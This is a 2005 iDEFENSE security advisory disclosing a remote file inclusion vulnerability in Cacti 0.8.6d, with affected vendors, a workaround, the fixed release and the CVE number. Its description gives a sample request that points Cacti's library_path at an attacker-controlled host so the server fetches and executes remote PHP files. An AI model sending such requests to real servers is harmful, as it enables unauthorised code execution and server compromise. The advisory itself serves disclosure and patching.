Multiple Vendor Cacti Remote File Inclusion Vulnerability

iDEFENSE Security Advisory 06.22.05
www.idefense.com/application/poi/display?id=265&type=vulnerabilities
June 22, 2005

I. BACKGROUND

Cacti is a round-robin database (RRD) tool that helps create graphs from

database information and is available on multiple Linux distributions. 

II. DESCRIPTION

Cacti contains an input validation error in the top_graph_header.php 
script that allows an attacker to include arbitrary PHP code from remote

sites. This in effect allows arbitrary code execution with the 
privileges of the web server. The vulnerability specifically exists due 
to the script trusting a user supplied library_path variable. The 
following example demonstrates how this might be exploited: 

http://example.com/path_of_cacti/include/top_graph_header.php?config[lib
rary_path]=http://attackersite.com/ 

In this way, the files "http://attackersite.com/include/html_tree.php" 
and "http://attackersite.com/include/rrd.php" will be included and 
executed on the vulnerable server.

III. ANALYSIS

Successful exploitation of this vulnerability allows a remote attacker 
to gain shell access with the privileges of the web server. An attacker 
can then attempt to escalate privileges using local exploits, possibly 
allowing a full root compromise.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability on Cacti 
0.8.6d. Earlier versions are suspected vulnerable. The following vendors

include susceptible Cacti packages within their respective operating 
system distributions: 

  The FreeBSD Project
  Gentoo Foundation
  Novell Inc. (SuSE) 

Debian also includes a package for Cacti, however, it is an older, 
unaffected version.

V. WORKAROUND

Require authentication to access the Cacti installation. Restrict access

to web servers using Cacti to only trusted hosts.

VI. VENDOR RESPONSE

Cacti 0.8.6e has been released to address this vulnerability and is
available for download at:

   http://www.cacti.net/downloads/cacti-0.8.6e.tar.gz
   or
   http://www.cacti.net/downloads/cacti-0.8.6e.zip

Release notes for Cacti 0.8.6e can be found at:

   http://www.cacti.net/release_notes_0_8_6e.php

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-1524 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

05/12/2005  Initial vendor notification
05/12/2005  Initial vendor response
06/22/2005  Coordinated public disclosure

IX. CREDIT

Maciej Piotr Falkiewicz and an anonymous researcher are credited with 
this discovery.

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X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

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Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.